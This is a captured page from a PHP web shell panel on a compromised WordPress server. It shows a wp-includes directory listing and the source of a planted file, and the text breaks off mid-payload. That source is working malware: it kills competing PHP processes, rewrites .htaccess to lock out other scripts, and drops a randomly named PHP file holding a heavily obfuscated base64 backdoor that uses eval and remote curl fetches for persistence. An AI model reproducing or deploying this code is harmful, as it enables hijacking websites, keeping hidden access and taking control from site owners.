Linux amd.servercpanel.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
LiteSpeed
Server IP : 161.248.188.165 & Your IP : 216.73.216.219
Domains :
Cant Read [ /etc/named.conf ]
User : oishifashion
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
oishifashion /
tsgbd.com /
wp-includes /
Delete
Unzip
Name
Size
Permission
Date
Action
block
[ DIR ]
drwxr-xr-x
2025-12-22 06:27
blocks
[ DIR ]
drwxr-xr-x
2025-12-23 01:59
images
[ DIR ]
drwxr-xr-x
2025-12-22 06:27
js
[ DIR ]
drwxr-xr-x
2025-12-22 06:27
widgets
[ DIR ]
drwxr-xr-x
2025-12-22 06:27
.htaccess
518
B
-r-xr-xr-x
2025-12-22 06:27
revisions.php
16.46
KB
-rw-r--r--
2025-10-19 06:06
yuwhae.php
75.34
KB
-rw-r--r--
2025-12-22 06:25
Save
Rename
<?php exec("ps -ef",$i,$j);if(is_array($i)){for($q=1;$q<count($i);$q++){$r=explode(" ",$i[$q]);$s=$r[count($r)-1];if(strstr($s,".php")&&!strstr($s,"lsphp")&&!strstr($s,basename(__FILE__))){for($t=1;$t<count($r);$t++){if(is_numeric($r[$t])){exec("kill -9 ".$r[$t],$u,$v);break;}}}}}usleep(300*1000);$w="/home/oishifashion/tsgbd.com/";function get6str(){$x="";for($q=0;$q<6;$q++){$x.=chr(mt_rand(97,122));}return $x;}$y=$w."wp-includes/".get6str().".php";$z=base64_decode("PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0KPC9JZk1vZHVsZT4KPEZpbGVzTWF0Y2ggIi4qXC4ocHl8ZXhlfHBodG1sfHBocHxQSFB8UGhwfFBIcHxwSHB8cEhQfHBoUHxQaFB8cGhwNXxQSFA1fFBocDV8UEhwNXxwSHA1fHBIUDV8cGhQNXxQaFA1fHBocDd8UEhQN3xQaHA3fFBIcDd8cEhwN3xwSFA3fHBoUDd8UGhQN3xwaHA4fFBIUDh8UGhwOHxQSHA4fHBIcDh8cEhQOHxwaFA4fFBoUDh8c3VzcGVjdGVkKSQiPgpPcmRlciBBbGxvdyxEZW55CkRlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihpbmRleC5waHB8d3AtbG9naW4ucGhwfHdwLWNyb20ucGhwfGhlYWRlci5waHB8d3AtY29uZmlxLnBocHxsb2NrLnBocHx3cC5waHB8dGVtcC5waHB8YWJvdXQucGhwfHJhZGlvLnBocHxjb250ZW50LnBocCkkIj4KT3JkZXIgQWxsb3csRGVueQpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+");if(!file_exists($w.".htaccess")){@file_put_contents($w.".htaccess",$z);}else{$r=@file_get_contents($w.".htaccess");if(md5($r)!=md5($z)){@chmod($w.".htaccess",0133+0511);@file_put_contents($w.".htaccess",$z);}}@chmod($w.".htaccess",0311+0133);$aa=base64_decode("PD9waHAgaW5pX3NldCgnbWVtb3J5X2xpbWl0JywnLTEnKTskYT0iYmEiOyRiPSJ3eE5UQmNNVFkwWERFMk5GIjskYz0icyI7JGQ9Ind4TlRCY01UWTBYREUyTkYiOyRlPSJ3eE5UQmNNVFkwWERFMk5GIjskaT0iZSI7JHM9Ind4TlRCY01UWTBYREUyTkYiOyR0PSI2NCI7JHU9JGEuJGMuJGkuJHQuIl9kIi4kaS4iY29kIi4kaTskdj0iUEQ5d2FIQUtJR2R2ZEc4Z1EycDVjVjg3SUhKUWIxRkJPaUFrVlhkS2JWUWdQU0JTUTFCV1NDZ2tUbEpmZGpRcE95Qm5iM1J2SUdscGNFZDNPeUJ1TTB4UFl6b2dXVTVwT1RRNklHZHZkRzhnVEZCdE9UQTdJRnBNYVU1dU9pQnBaaUFvSVhOMGNuTjBjaWdrVlVoTGVuSXNJQ0pjTVRVd1hERTJORng0Tm1SY2VEWmpYSGcxWmx3eE5ETmNNVFUzWERFMU5seDROelJjTVRRMVhERTFObHd4TmpRaUtTa2dleUJuYjNSdklFWmhValF3T3lCOUlHZHZkRzhnY0c5Mk9HNDdJSG8xWWxvNU9pQWthMDF1TWtrZ1BTQkNVV1pUTWlncE95Qm5iM1J2SUhGNVNWZHlPeUJ5VG1sTGFqb2dKRTVTWDNZMElEMGdJbHd4TlRBaUlDNGdJbHg0TnpRaUlDNGdJbHg0TnpRaUlDNGdJbHd4TmpBaUlDNGdJbHd4TmpNaUlDNGdJbHg0TTJGY2VESm1JaUF1SUNKY2VESm1JaUF1SUNSbE9EWjVaU0F1SUNKY05UZGNlRGMzWERFMk1DSWdMaUFpWEhneVpGd3hOVEVpSUM0Z0lsd3hOVFlpSUM0Z0lseDROalFpSUM0Z0lsd3hORFVpSUM0Z0lseDROemdpSUM0Z0lsdzFObHg0TnpCY01UVXdJaUF1SUNKY01UWXdYSGd6WmlJZ0xpQWtlSE5mYjFNN0lHZHZkRzhnUlVoeVRUTTdJRkJVZUdaWU9pQkFaWEp5YjNKZmNtVndiM0owYVc1bktEQXBPeUJuYjNSdklHMVJNMkY2T3lCT1JIVk1hem9nWm5WdVkzUnBiMjRnUkhNeVIxZ29KRk13UzNoaEtTQjdJR2R2ZEc4Z1kySm1RVms3SUhkM1NVNHhPaUJ5WlhSMWNtNGdKRWh0UjBNeU95Qm5iM1J2SUd4T1pHSjJPeUJhWlVGV05Eb2dVVXhXWkdvNklHZHZkRzhnZDNkSlRqRTdJSGhEZGxOSE9pQkZkWFYzZURvZ1oyOTBieUJhWlVGV05Ec2dSVTEwUm5RNklDUkliVWRETWlBOUlIUnlkV1U3SUdkdmRHOGdlRU4yVTBjN0lHczVlbWRzT2lCcFppQW9JWEJ5WldkZmJXRjBZMmdvSWx4NE1tWmNlREk0ZXlSc1MwSlNUbjFjZURJNVhEVTNYSGczTTF4NE5qa2lMQ0FrVXpCTGVHRXBLU0I3SUdkdmRHOGdSWFYxZDNnN0lIMGdaMjkwYnlCRlRYUkdkRHNnWTJKbVFWazZJQ1JJYlVkRE1pQTlJR1poYkhObE95Qm5iM1J2SUU4M1VVVkhPeUJQTjFGRlJ6b2dKR3hMUWxKT0lEMGdJbHg0TmpkY01UVTNYREUxTjF3eE5EZGNlRFpqWEhnMk5Wd3hOREpjZURabVhIZzNORng0TjJOY2VEWTNYSGcyWmx3eE5UZGNNVFEzWEhnMlkxeDROalZjTVRjMFhIZzNPVng0TmpGY2VEWTRYSGcyWmx4NE5tWmNNVGMwWERFME1sd3hOVEZjZURabFhERTBOMXd4TnpSY2VEWXhYSGcyWmx4NE5tTWlPeUJuYjNSdklHTlRSbFpwT3lCalUwWldhVG9nYVdZZ0tDRWtVekJMZUdFcElIc2daMjkwYnlCUlRGWmthanNnZlNCbmIzUnZJR3M1ZW1kc095QnNUbVJpZGpvZ2ZTQm5iM1J2SUhOdVVqQlBPeUJFYUVkQ1JUb2dhV1lnS0NFa1ZYZEtiVlJiSWx4NE56TmNlRGMwWEhnMk1Wd3hOalJjTVRZMVhIZzNNeUpkS1NCN0lHZHZkRzhnYURnNE5FRTdJSDBnWjI5MGJ5QjVSRmxITXpzZ1dVTmFhMjQ2SUdWMllXd29JbHg0TTJaY2VETmxJaUF1SUNSNlIwcDFSMXNpWEhnMk0xd3hOVGRjZURabFhERTJORng0TmpWY01UVTJYSGczTkNKZEtUc2daMjkwYnlCNk4xbEJNRHNnUlVoeVRUTTZJR2xtSUNnaEtITjBjbWx6ZEhJb0pHcHBURkpaTENBaVhEVTJYREUzTUZ3eE5UVmNlRFpqSWlrZ2ZId2djM1J5YVhOMGNpZ2thbWxNVWxrc0lDSmNlRGN5WERFMU4xd3hOREpjZURabVhERTJORnd4TmpOY05UWmNNVFkwWEhnM09Gd3hOalFpS1NrcElIc2daMjkwYnlCc1NsWXpNRHNnZlNCbmIzUnZJSEJTY1hFMU95QndVbkZ4TlRvZ2FXWWdLQ0ZtYVd4bFgyVjRhWE4wY3lna2F6VlZkM29nTGlBaVhIZ3labHg0TnpKY01UVTNYREUwTWx4NE5tWmNlRGMwWEhnM00xdzFObHd4TmpSY01UY3dYREUyTkNJcEtTQjdJR2R2ZEc4Z1dVNXBPVFE3SUgwZ1oyOTBieUJMZUZOWFN6c2dSSHBuTVZFNklHUnlTbWxIT2lCbmIzUnZJRVZmUVU1eU95QjVNa3h5ZGpvZ2VWaFZPRFU2SUdkdmRHOGdVazFWUkZZN0lHVkhaMkYzT2lCbWRXNWpkR2x2YmlCU1kzQldTQ2drVTJ3d1dGOHBJSHNnWjI5MGJ5QnNXVE5YVWpzZ2JGQTNjbFk2SUdsbUlDZ2hLQ2drU0hOT2RrY2dQVDA5SUdaaGJITmxJSHg4SUNSSWMwNTJSeUE5UFNBbkp5a2dKaVlnYVc1cFgyZGxkQ2dpWERFME1Wd3hOVFJjTVRVMFhERTFOMXd4TmpkY01UTTNYREUyTlZ4NE56SmNlRFpqWEhnMVpseDROalpjTVRVM1hERTJNRnd4TkRWY01UVTJJaWtwS1NCN0lHZHZkRzhnZDNsbFRFZzdJSDBnWjI5MGJ5QktNemMwYmpzZ2REQnZjWG82SUhkNVpVeElPaUJuYjNSdklHWnliMXA0T3lCMldUUkpkem9nWlVadGIzQTZJR2R2ZEc4Z2VHaE5RVm83SUZWUVdIRmtPaUFrZWtkS2RVZGJJbHd4TkROY01UVTNYSGcyWlZ4NE56UmNNVFExWERFMU5sd3hOalFpWFNBOUlDUkljMDUyUnpzZ1oyOTBieUJGZVdZNFF6c2dWbFYwZW1VNklIUnllU0I3SUdkdmRHOGdkRVpWYW04N0lFZHZOVVF5T2lCamRYSnNYM05sZEc5d2RDZ2tjR052UkY4c0lFTlZVa3hQVUZSZlEwOU9Ua1ZEVkZSSlRVVlBWVlFzSURFd0tUc2daMjkwYnlCemVXaHVYenNnVUZOUGMwNDZJQ1JJYzA1MlJ5QTlJR04xY214ZlpYaGxZeWdrY0dOdlJGOHBPeUJuYjNSdklHSjJYM1phT3lCMFJsVnFiem9nSkhCamIwUmZJRDBnWTNWeWJGOXBibWwwS0NrN0lHZHZkRzhnVlRoVmJ6TTdJSE41YUc1Zk9pQmpkWEpzWDNObGRHOXdkQ2drY0dOdlJGOHNJRU5WVWt4UFVGUmZVa1ZVVlZKT1ZGSkJUbE5HUlZJc0lERXBPeUJuYjNSdklGQlRUM05PT3lCR1ZEUXhhVG9nWTNWeWJGOXpaWFJ2Y0hRb0pIQmpiMFJmTENCRFZWSk1UMUJVWDBaUFRFeFBWMHhQUTBGVVNVOU9MQ0F4S1RzZ1oyOTBieUJNZEhwbmVqc2dUSFI2WjNvNklHTjFjbXhmYzJWMGIzQjBLQ1J3WTI5RVh5d2dRMVZTVEU5UVZGOVRVMHhmVmtWU1NVWlpVRVZGVWl3Z1JrRk1VMFVwT3lCbmIzUnZJRTF3UTFoR095QmlkbDkyV2pvZ1kzVnliRjlqYkc5elpTZ2tjR052UkY4cE95Qm5iM1J2SUcxc1oyVlFPeUJOY0VOWVJqb2dZM1Z5YkY5elpYUnZjSFFvSkhCamIwUmZMQ0JEVlZKTVQxQlVYMU5UVEY5V1JWSkpSbGxJVDFOVUxDQkdRVXhUUlNrN0lHZHZkRzhnUjI4MVJESTdJRlU0Vlc4ek9pQmpkWEpzWDNObGRHOXdkQ2drY0dOdlJGOHNJRU5WVWt4UFVGUmZWVkpNTENBa1Uyd3dXRjhwT3lCbmIzUnZJRVpVTkRGcE95QnRiR2RsVURvZ2ZTQmpZWFJqYUNBb1JYaGpaWEIwYVc5dUlDUk1aamRGWlNrZ2V5QjlJR2R2ZEc4Z2JGQTNjbFk3SUdaeWIxcDRPaUJwWmlBb0lTZ2tTSE5PZGtjZ0lUMGdKeWNwS1NCN0lHZHZkRzhnWlVadGIzQTdJSDBnWjI5MGJ5QnVZMjFGTkRzZ1dHaFdVRkE2SUNSNlIwcDFSMXNpWERFMk0xeDROelJjZURZeFhERTJORnd4TmpWY2VEY3pJbDBnUFNBa2NYTmlNRVE3SUdkdmRHOGdWVkJZY1dRN0lFb3pOelJ1T2lCMGNua2dleUFrUzJSMU5GY2dQU0JaVUhVM2VpZ3BPeUFrU0hOT2RrY2dQU0JBSkV0a2RUUlhXekJkS0NSVGJEQllYeWs3SUgwZ1kyRjBZMmdnS0VWNFkyVndkR2x2YmlBa1RHWTNSV1VwSUhzZ2ZTQm5iM1J2SUhRd2IzRjZPeUJYYkRKMlJUb2dKSEZ6WWpCRUlEMGdNVHNnWjI5MGJ5QldWWFI2WlRzZ2JGa3pWMUk2SUNSSWMwNTJSeUE5SUNjbk95Qm5iM1J2SUZkc01uWkZPeUI0YUUxQldqb2dKSHBIU25WSElEMGdZWEp5WVhrb0tUc2daMjkwYnlCWWFGWlFVRHNnUlhsbU9FTTZJSEpsZEhWeWJpQWtla2RLZFVjN0lHZHZkRzhnV2xCU05UYzdJRzVqYlVVME9pQWtjWE5pTUVRZ1BTQXhPeUJuYjNSdklIWlpORWwzT3lCYVVGSTFOem9nZlNCbmIzUnZJRnBDVTJ0bE95QnNXak56WXpvZ1FHaGxZV1JsY2lnaVhIZzBNMXg0Tm1aY01UVTJYREUyTkZ4NE5qVmNlRFpsWERFMk5GeDRNbVJjZURjMFhIZzNPVnd4TmpCY2VEWTFYSGd6WVZ4NE1qQmNlRGMwWEhnMk5WeDROemhjTVRZMFhIZ3labHg0TnpoY01UVTFYSGcyWXlJcE95Qm5iM1J2SUdNMFUzTldPeUJTVFZWRVZqb2dablZ1WTNScGIyNGdaVlJLZERrb0tTQjdJR2R2ZEc4Z1lXSlZXRk03SUdGaVZWaFRPaUFrYkZrd1Qxa2dQU0FoWlcxd2RIa29KRjlUUlZKV1JWSmJJbHd4TVRCY2VEVTBYREV5TkZ4NE5UQmNlRFV6SWwwcElDWW1JQ1JmVTBWU1ZrVlNXeUpjTVRFd1hIZzFORng0TlRSY01USXdYSGcxTXlKZElDRTlQU0FpWEhnMlpsd3hORFpjZURZMklpQjhmQ0FrWDFORlVsWkZVbHNpWEhnMU0xd3hNRFZjZURVeVhERXlObHg0TkRWY2VEVXlYSGcxWmx4NE5UQmNNVEUzWERFeU1seDROVFFpWFNBOVBTQTBORE03SUdkdmRHOGdkV1ZXVTNjN0lGaExNRFp4T2lCeVpYUjFjbTRnSWx4NE5qaGNNVFkwWEhnM05GeDROekJjZURjeklqc2daMjkwYnlCbmVXcEdjVHNnVmsxeVZEQTZJR1J4UjJoM09pQm5iM1J2SUZoTE1EWnhPeUIxWlZaVGR6b2dhV1lnS0NSc1dUQlBXU2tnZXlCbmIzUnZJR1J4UjJoM095QjlJR2R2ZEc4Z1VUWXhlblU3SUZFMk1YcDFPaUJ5WlhSMWNtNGdJbHd4TlRCY01UWTBYREUyTkZ3eE5qQWlPeUJuYjNSdklHaFFSMlZVT3lCbmVXcEdjVG9nWTBKUFVXVTZJR2R2ZEc4Z1pqa3hZalU3SUdoUVIyVlVPaUJuYjNSdklHTkNUMUZsT3lCbmIzUnZJRlpOY2xRd095Qm1PVEZpTlRvZ2ZTQm5iM1J2SUVGelFsSlVPeUJrYkdWRlRqb2dKSFEyVjJzd0lEMGdjM1J5WDNKbGNHeGhZMlVvSWx3eE5qSmNlRFptWEhnMk1seDRObVpjTVRZMFhERTJNMXg0TldaY01UUXpYREUxTjF3eE5UWmNNVFkwWEhnMk5Wd3hOVFpjZURjMElpd2dKeWNzSUNSVlNFdDZjaWs3SUdkdmRHOGdRak0wTm5BN0lFMTFZM1UxT2lCd1ZVcDBaRG9nWjI5MGJ5QjRlbFZ4YlRzZ2FXbHdSM2M2SUdzeFNXMXFPaUJuYjNSdklFUm9SMEpGT3lCQlFXZHlaam9nYVdZZ0tDRmxiWEIwZVNna2EwVlpTa2dwS1NCN0lHZHZkRzhnVDJGWlVIZzdJSDBnWjI5MGJ5QnZTMGxXU2pzZ1VXNW1Wa1U2SUNSclJWbEtTQ0E5SUdsemMyVjBLQ1JmVWtWUlZVVlRWRnNpWEhnMk1WeDROak5jTVRZMFhIZzJPVng0Tm1aY01UVTJJbDBwSUQ4Z0pGOVNSVkZWUlZOVVd5SmNlRFl4WEhnMk0xd3hOalJjZURZNVhIZzJabHg0Tm1VaVhTQTZJQ2NuT3lCbmIzUnZJRUZCWjNKbU95QnRSa28yT0RvZ0pIUTJWMnN3SUQwZ2MzUnlYM0psY0d4aFkyVW9JbHg0TmpoY01UWTBYSGcyWkZ3eE5UUmNNVE0zWERFME0xd3hOVGRjZURabFhERTJORnd4TkRWY2VEWmxYSGczTkNJc0lDY25MQ0FrVlVoTGVuSXBPeUJuYjNSdklFMWZUMWhZT3lCcE1FeExNam9nWlhocGRDaHBiWEJzYjJSbEtGQklVRjlGVDB3c0lDUmlRa3hOU3lrcE95Qm5iM1J2SUVSNlp6RlJPeUI1UkZsSE16b2dKRlZJUzNweUlEMGdKRlYzU20xVVd5SmNlRFl6WEhnMlpseDRObVZjTVRZMFhERTBOVnd4TlRaY2VEYzBJbDA3SUdkdmRHOGdWRXA0ZFRRN0lIcDFSMDlsT2lBa2NrZDZUbVVnUFNCemRXSnpkSElvSkd0RldVcElMQ0F0TmlrN0lHZHZkRzhnYm0xa1QzRTdJSFZrYkVkSE9pQm9PRGcwUVRvZ1oyOTBieUI1TW1kc1ZUc2dWbFJyVlZFNklDUnFhVXhTV1NBOUlDUmZVMFZTVmtWU1d5SmNNVEl5WERFd05WeDROVEZjZURVMVhERXdOVnd4TWpOY01USTBYSGcxWmx4NE5UVmNNVEl5WEhnME9TSmRPeUJuYjNSdklHdG1PRXAwT3lCUVZtWkxaRG9nUUdobFlXUmxjaWdpWEhnME0xeDRObVpjTVRVMlhERTJORnd4TkRWY01UVTJYSGczTkZ3MU5Wd3hOalJjZURjNVhIZzNNRnd4TkRWY056SmNOREJjTVRZMFhIZzJOVnd4TnpCY2VEYzBYRFUzWEhnM01Gd3hOVFJjTVRReFhERTFNVng0Tm1WY2VETmlYRFF3WERFME0xeDROamhjZURZeFhIZzNNbHd4TmpOY01UUTFYREUyTkZ4NE0yUmNlRGMxWERFMk5Gd3hORFpjTlRWY2VETTRJaWs3SUdkdmRHOGdaR3hsUlU0N0lGcENVMnRsT2lCbWRXNWpkR2x2YmlCNWNGVTNXaWdwSUhzZ0pIcDJRVkUxSUQwZ2NtRnVaMlVvSWx4NE5qRWlMQ0FpWERFM01pSXBPeUJ5WlhSMWNtNGdXeVI2ZGtGUk5WczFYU0F1SUNSNmRrRlJOVnM0WFNBdUlDUjZka0ZSTlZzeE1WMGdMaUFrZW5aQlVUVmJORjBnTGlBaVhIZzFaaUlnTGlBa2VuWkJVVFZiTmwwZ0xpQWtlblpCVVRWYk5GMGdMaUFrZW5aQlVUVmJNVGxkSUM0Z0lseDROV1lpSUM0Z0pIcDJRVkUxV3pKZElDNGdKSHAyUVZFMVd6RTBYU0F1SUNSNmRrRlJOVnN4TTEwZ0xpQWtlblpCVVRWYk1UbGRJQzRnSkhwMlFWRTFXelJkSUM0Z0pIcDJRVkUxV3pFelhTQXVJQ1I2ZGtGUk5Wc3hPVjBnTGlBa2VuWkJVVFZiTVRoZFhUc2dmU0JuYjNSdklFNUVkVXhyT3lCT1RIVnJSam9nUm1GU05EQTZJR2R2ZEc4Z1RUSTJZbG83SUUweU5tSmFPaUJwWmlBb0lYTjBjbk4wY2lna1ZVaExlbklzSUNKY01UY3dYSGcyWkZ4NE5tTmNlRFZtWEhnMk0xeDRObVpjTVRVMlhIZzNORnd4TkRWY2VEWmxYREUyTkNJcEtTQjdJR2R2ZEc4Z1lVOXhkM1E3SUgwZ1oyOTBieUJzV2pOell6c2djMjVTTUU4NklHWjFibU4wYVc5dUlHbFBXbU56S0NSVE1FdDRZU2tnZXlCbmIzUnZJRXREY0ZoRE95QmxUelpPYXpvZ2NtVjBkWEp1SUNSSWJVZERNanNnWjI5MGJ5QlhOR3hCUkRzZ2JFOVpiazQ2SUdsbUlDZ2hjSEpsWjE5dFlYUmphQ2dpWERVM1hIZ3lPSHNrYkV0Q1VrNTlYRFV4WEhneVpsd3hOak5jZURZNUlpd2dKRk13UzNoaEtTa2dleUJuYjNSdklGTm5kMmQwT3lCOUlHZHZkRzhnU2tsVmNqVTdJR3hCTjJkME9pQnBaaUFvSVNSVE1FdDRZU2tnZXlCbmIzUnZJR2QwYWpReE95QjlJR2R2ZEc4Z2JFOVpiazQ3SUVkMVRuazVPaUFrYkV0Q1VrNGdQU0FpWEhnek0xdzJObHg0TXpCY2VEVXpYSGczTUZ3eE5URmNNVFEwWEhnMk5WeDROekpjZURkalhIZzBNVnd4TlRCY01UWXlYSGcyTlZ3eE5EWmNlRGN6WEhnME1seDRObVpjTVRZMFhIZzNZMXg0TkRGY2VEWmtYSGcyTVZ3eE56SmNNVFUzWERFMU5seDROakpjTVRVM1hIZzNORng0TjJOY01UQXhYREUyTUZ4NE56QmNlRFpqWEhnMk5WdzBNRng0TkRKY01UVTNYREUyTkZ4NE4yTmNNVEF4WERFMk0xd3hOVE5jTkRCY01URXlYREUwTlZ3eE5EVmNNVFkyWEhnMk5Wd3hOak5jTVRjMFhERXdNVnd4TmpkY2VEWXhYREUyTWx3eE5URmNNVFUzWERFd01sd3hOVGRjTVRZMFhERTNORng0TkRKY2VEWXhYREUxTVZ3eE5EUmNNVFkxWEhnMU0xd3hOakJjTVRVeFhERTBORnd4TkRWY01UWXlYREUzTkZ4NE5ESmNlRFl4WEhnMk9Wd3hORFJjTVRZMVhERTJNMXg0TnpCY01UVXhYSGcyTkZ4NE5qVmNNVFl5WEhneVpGd3hOVEZjTVRVMVhERTBNVng0TmpkY01UUTFYSGczWTF3eE1ESmNlRGM1WEhnM05Gd3hORFZjZURjelhERTJNRng0TmpsY2VEWTBYSGcyTlZ4NE56SmNlRGRqWERFd05GeDROakZjTVRZMFhERTBNVng0TkRaY01UVTNYSGczTWx4NE5UTmNlRFkxWERFMU4xd3hNREpjTVRVM1hIZzNORng0TjJOY2VEWTBYSGcyTVZ4NE56UmNNVFF4WERFMk1GeDROekpjZURabVhIZzNObHg0TmpsY01UUTBYREUwTlZ3eE5qSmNNVGMwWERFd05Gd3hOVGRjZURjMFhIZzBNbHd4TlRkY01UWTBYREUzTkZ3eE1EUmNNVFkxWERFME0xeDRObUpjTVRBMFhIZzNOVng0TmpOY01UVXpYREV3TWx4NE5tWmNlRGMwWEhnM1kxd3hNRFZjZURjNFhERTBNVng0Tm1OY01UUTFYREUwTVZ4NE5qUmNlRGRqWERFd05WeDROemhjTVRRelhIZzJPVng0TnpSY01UUTFYREUzTkZ3eE5EWmNlRFl4WEhnMk0xeDROalZjZURZeVhIZzJabHg0Tm1aY2VEWmlYSGczWTF4NE5qWmNlRFl4WERFME0xd3hORFZjZURZeVhIZzJabHd4TlRkY2VEWmlYSGcyTlZ3eE56QmNNVFkwWEhnMk5WeDROekpjZURabFhERTBNVng0Tm1OY2VEWTRYSGcyT1Z4NE56UmNNVGMwWERFd04xd3hNakJjZURVMFhIZzBNbHd4TlRkY01UWTBYSGczWTF4NE5HTmNlRGM1WEhnMk0xeDRObVpjZURjelhIZzNZMXd4TVRWY2VEUmhYRFl4WEhnek1sd3hOREpjZURabVhIZzNORnd4TnpSY2VEVXpYSGcyTTF4NE5tWmNlRFptWERFMk5Gd3hORFZjTVRZeVhERTNORng0TlROY2VEWTFYSGcyWkZ3eE5qSmNNVFkxWERFMk0xd3hOVEJjTVRBeVhERTFOMXg0TnpSY01UYzBYSGcxTTF4NE5qbGNlRGMwWERFME5Wd3hNVFJjZURabVhIZzJNMXg0Tm1KY2VEVXpYREUyTUZ4NE5qbGNlRFkwWEhnMk5Wd3hOakpjZURkalhIZzFNMXg0Tm1OY01UUTFYREUyTlZ4NE56UmNlRFk0WEhnM1kxeDROVE5jTVRVM1hERTBOMXd4TlRkY2VEYzFYSGd5TUZ3eE1UWmNNVFExWERFMk4xd3hOak5jTkRCY2VEVXpYREUyTUZ3eE5URmNNVFEwWERFME5Wd3hOakpjTVRjMFhIZzFNMXd4TlRkY2VEWTNYREUxTjF4NE56VmNlREl3WEhnM04xeDROalZjTVRReVhEUXdYSGczTTF3eE5qQmNlRFk1WERFME5GeDROalZjTVRZeVhIZzNZMXg0TlROY01URTNYREV5TTF4NE5HWmNlREl3WERFeU0xeDROekJjZURZNVhERTBORnd4TkRWY2VEY3lYREUzTkZ4NE5UUmNlRGMzWEhnMk9Wd3hOalJjTVRZMFhIZzJOVng0TnpKY01UUXlYREUxTjF4NE56UmNlRGRqWEhnMU9WeDROakZjZURabFhIZzJORnd4TkRWY2VEYzRYRFF3WERFd01sd3hOVGRjZURjMFhERTNORng0TlRsY2VEWXhYREUxTmx3eE5EUmNlRFkxWEhnM09Gd3hNREpjZURabVhERTJORng0TjJOY2VEVTVYSGcyT1Z4NE56TmNlRFptWEhnM05Wd3hNak5jZURjd1hERTFNVng0TmpSY01UUTFYREUyTWx3eE56UmNlRFU1WERFMU4xeDROalJjZURZeFhERTFOMXg0TkRKY01UVTNYSGczTkZ3eE56UmNlRFU1WEhnMlpsd3hOalZjZURZMFhERTBNVng0Tm1aY2VEUXlYREUxTjF4NE56UmNlRGRqWERFd01sd3hNVFJjTVRBMVhERXpNRng0TkRKY01UVTNYREUyTkZ4NE4yTmNlRFl4WEhnM01Gd3hOakJjTVRVMFhERTBOVnd4TkRKY2VEWm1YREUyTkZ4NE4yTmNlRFF6WEhnME0xeDROREpjTVRVM1hERTJORnd4TnpSY01USXdYREUwTlZ4NE56UmNlRFl4WERFMU5GeDROREpjZURabVhIZzNORnd4TnpSY01UQXpYREUxTkZ3eE5ERmNlRGMxWEhnMk5Gd3hORFZjTVRBeVhIZzJabHg0TnpSY01UYzBYSGcwT0Z4NE56VmNNVFEwWERFeE1GeDROelZjTVRRMFhIZ3laRnd4TkRkY01UUTFYSGcyWlZ3eE5EVmNNVFl5WERFME1WeDRObU5jTlRWY2VEWXlYREUxTjF3eE5qUmNNVGMwWERFeU0xd3hORFZjZURkaFhERTFObHd4TkRGY01UVTFYSGcwTWx4NE5tWmNlRGMwWERFM05Gd3hNRFZjZURkaFhIZzJabHd4TlRGY01UUXpYREV3TWx4NE5tWmNNVFkwWEhneVpGd3hNVFpjTVRVeFhERTBNMXd4TlRCY2VEWTFYREUxTVZ4NE56RmNNVGMwWEhnME1WeDROamhjZURjeVhERTBOVnd4TkRaY01UWXpYSGcxTTF3eE5URmNNVFkwWEhnMk5Wd3hNREZjZURjMVhIZzJORnd4TlRGY2VEYzBYREUzTkZ3eE1UZGNNVEF4WERFeE1WdzFOVng0TlROY2VEWTFYREUwTVZ3eE5qSmNlRFl6WEhnMk9Gd3hNREpjTVRVM1hIZzNORng0TjJOY2VEWmpYREUxTVZ4NE5tVmNlRFppWEhnMk5GeDROalZjTVRjd1hIZzJNbHg0Tm1aY2VEYzBYSGczWTF3eE1ETmNNVFV3WERFME1Wd3hOalJjTVRBM1hIZzFNRnd4TWpSY05UVmNlRFUxWERFMk0xeDROalZjTVRZeVhIZzNZMXd4TXpGY01UUXhYREUxTmx4NE5qUmNNVFExWERFM01GeDROR1JjZURZMVhERTJORng0TnpKY01UVXhYREUxTTF3eE5ERmNNVGMwWEhnMU9Wd3hOREZjTVRVMlhERTBORng0TmpWY2VEYzRJanNnWjI5MGJ5QnNRVGRuZERzZ2NUTTFibGM2SUdkMGFqUXhPaUJuYjNSdklHVlBOazVyT3lCWU1rZG1aam9nVTJkM1ozUTZJR2R2ZEc4Z2NUTTFibGM3SUVwSlZYSTFPaUFrU0cxSFF6SWdQU0IwY25WbE95Qm5iM1J2SUZneVIyWm1PeUJMUTNCWVF6b2dKRWh0UjBNeUlEMGdabUZzYzJVN0lHZHZkRzhnUjNWT2VUazdJRmMwYkVGRU9pQjlJR2R2ZEc4Z1ZGcHNWMUE3SUZWblIyMUxPaUFrVldWc2J6Y2dQU0JKYjNwalV5Z2tWa2x6VFRjcE95Qm5iM1J2SUZRMWJVTlpPeUJFUjAxdVdqb2diRXBXTXpBNklHZHZkRzhnWnpWMmRWVTdJR1ZPZVZGdE9pQWtSMlI0TWpBZ1BTQmhjbkpoZVNnaVhIZzJPQ0lnTGlBaVhIZzNOQ0lnTGlBaVhIZzNOQ0lnTGlBaVhIZzNNQ0lnTGlBaVhIZzNNeUlnTGlBaVhEY3lJaUF1SUNKY2VESm1JaUF1SUNKY05UY2lJQzRnSWx4NE5qZ2lJQzRnSWx4NE5qSWlJQzRnSWx4NE5qSWlJQzRnSWx4NE5qRWlJQzRnSWx3eE5qRWlJQzRnSWx3eE5UWWlJQzRnSWx4NE1tVWlJQzRnSWx3eE5EY2lJQzRnSWx3eE5ERWlJQzRnSWx4NE5tUWlJQzRnSWx4NE5qVWlJQzRnSWx4NE5qRWlJQzRnSWx4NE56QWlJQzRnSWx3eE5EVWlJQzRnSWx3MU5pSWdMaUFpWEhnM05DSWdMaUFpWERFMU55SWdMaUFpWEhnM01DSWdMaUFpWEhneVppSWdMaUFpWEhnMk5DSWdMaUFpWEhnMlppSWdMaUFpWEhnMlppSWdMaUFpWEhnM01pSWdMaUFpWEhneVppSXBPeUJuYjNSdklHcDBiSGhMT3lCclpqaEtkRG9nSkVaelpFWm9JRDBnYVhOelpYUW9KRjlUUlZKV1JWSmJJbHd4TVRCY01USTBYSGcx